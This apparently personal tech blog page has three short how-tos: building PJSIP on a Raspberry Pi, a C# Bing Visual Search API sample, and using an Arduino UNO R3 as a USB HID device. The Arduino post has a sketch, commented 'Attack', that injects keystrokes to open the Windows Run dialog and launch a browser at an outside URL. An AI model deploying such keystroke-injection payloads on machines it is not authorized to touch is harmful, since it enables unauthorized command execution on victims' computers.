PJSIP on Raspberry Pi via ALSA

Download and extract

apt-get install build-essential automake autoconf libasound2-dev
wget https://github.com/pjsip/pjproject/archive/2.10.tar.gz
tar -xvf 2.10.tar.gz
cd pjproject-2.10

Modify pjlib/include/pj/config_site.h

#define PJMEDIA_AUDIO_DEV_HAS_ALSA 1

Compile

./configure && make dep && make
/root/pjproject-2.10/pjsip-apps/bin/pjsua-armv7l-unknown-linux-gnueabihf  --config /root/pjproject-2.10/pjsip-apps/bin/pjsip.conf

Bing Visual Search

A sample project that performs a bing visual search and returns a json response.

using Newtonsoft.Json;
using System;
using System.IO;
using System.Net.Http;

/* This sample makes a call to the Bing Visual Search API with a query image and returns similar images with details.
 * Bing Visual Search API: 
 * https://docs.microsoft.com/en-us/rest/api/cognitiveservices/bingvisualsearch/images/visualsearch
 */

namespace BingVisualSearch
{
    internal class Program
    {
        // Set the path to the image
        private static string imagePath = "";
        // Set your access key
        private static string accessKey = "";
        private static Uri endpointUrl = new Uri("https://api.cognitive.microsoft.com/bing/v7.0/images/visualsearch");

        private static HttpClient client;
        private static Uri imgUri;

        private static void Main()
        {
            //Define change this to receive a URL if you want
            imgUri = new Uri(imagePath);

            client = new HttpClient();
            client.DefaultRequestHeaders.Add("Ocp-Apim-Subscription-Key", accessKey);

            var request =
                new
                {
                    imageInfo = new
                    {
                        cropArea = new
                        {
                            top = 0.0,
                            left = 0.0,
                            right = 0.0,
                            bottom = 0.0
                        },
                        url = imgUri.IsFile ? (string) null : imgUri.ToString()
                    }
                };
            var mfdc = new MultipartFormDataContent();

            // Part #2 - Add binary image file if using a local image
            // NOTE: the file needs to be an image file that is < 1MB
            if (imgUri.IsFile)
            {
                var path = imgUri.LocalPath;

                var fs = new FileStream(path, FileMode.Open, FileAccess.Read);

                var sizeMb = fs.Length / 1024.0 / 1024.0;

                if (sizeMb > 1.0) // Enforces file size restriction
                    throw new ApplicationException(
                        $"The file {imgUri.LocalPath} is greater than 1MB. Please resize it and try again");

                var sc = new StreamContent(fs);
                mfdc.Add(
                    sc, // binay image path
                    "image", // name = image
                    "image" // filename = image
                );
            }

            // Part #3 - Add KnowledgeRequest JSON object
            mfdc.Add(new StringContent(JsonConvert.SerializeObject(request)), "knowledgeRequest");

            // Part #4 - Invoke the service and read the response
            var response = client.PostAsync(endpointUrl, mfdc);

            // Part # 5 - Do what you like with the data
            Console.WriteLine(response.Result.Content.ReadAsStringAsync().Result);
            File.WriteAllText(@"response.txt", response.Result.Content.ReadAsStringAsync().Result);
            Console.ReadLine();
        }
    }
}

References:

Github Link

Arduino UNO R3 as USB HID

Ignore all old instructions. They are either outdated as HoodLoader1.8 is too old or just wrong.

  1. Install HoodLoader2 on Arduino UNO R3.
    https://github.com/NicoHood/HoodLoader2/wiki
  2. Update Arduino IDE with HooderLoader2 board definition according to the instructions.
  3. Install HID-project library on Arduino IDE .
  4. To program the USB MCU, select board-> Hoodloader 16u2.

Note:

  • Two MCU exist now -> USB MCU (16u2) and IO MCU (original – atmega328)
  • To stop USB MCU from loading and go to IO MCU, short the reset pins twice. The normal Arduino Uno name will appear in the COM port. You can program the USB MCU directly from here too.
  • HID functions are slightly different. Follow the example in HID-project closely.

Arduino Script

#include "HID-Project.h"

void setup() {
  // Setup
  Keyboard.begin();
  delay(1000);

  // Attack
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');  
  Keyboard.releaseAll();
  delay(1000);
  Keyboard.println("iexplore https://imsj.dev/tools/test.php");
  Keyboard.press(KEY_ENTER);
  Keyboard.releaseAll();
  delay(1000);

  // End
}

void loop() {

}

GitHub Link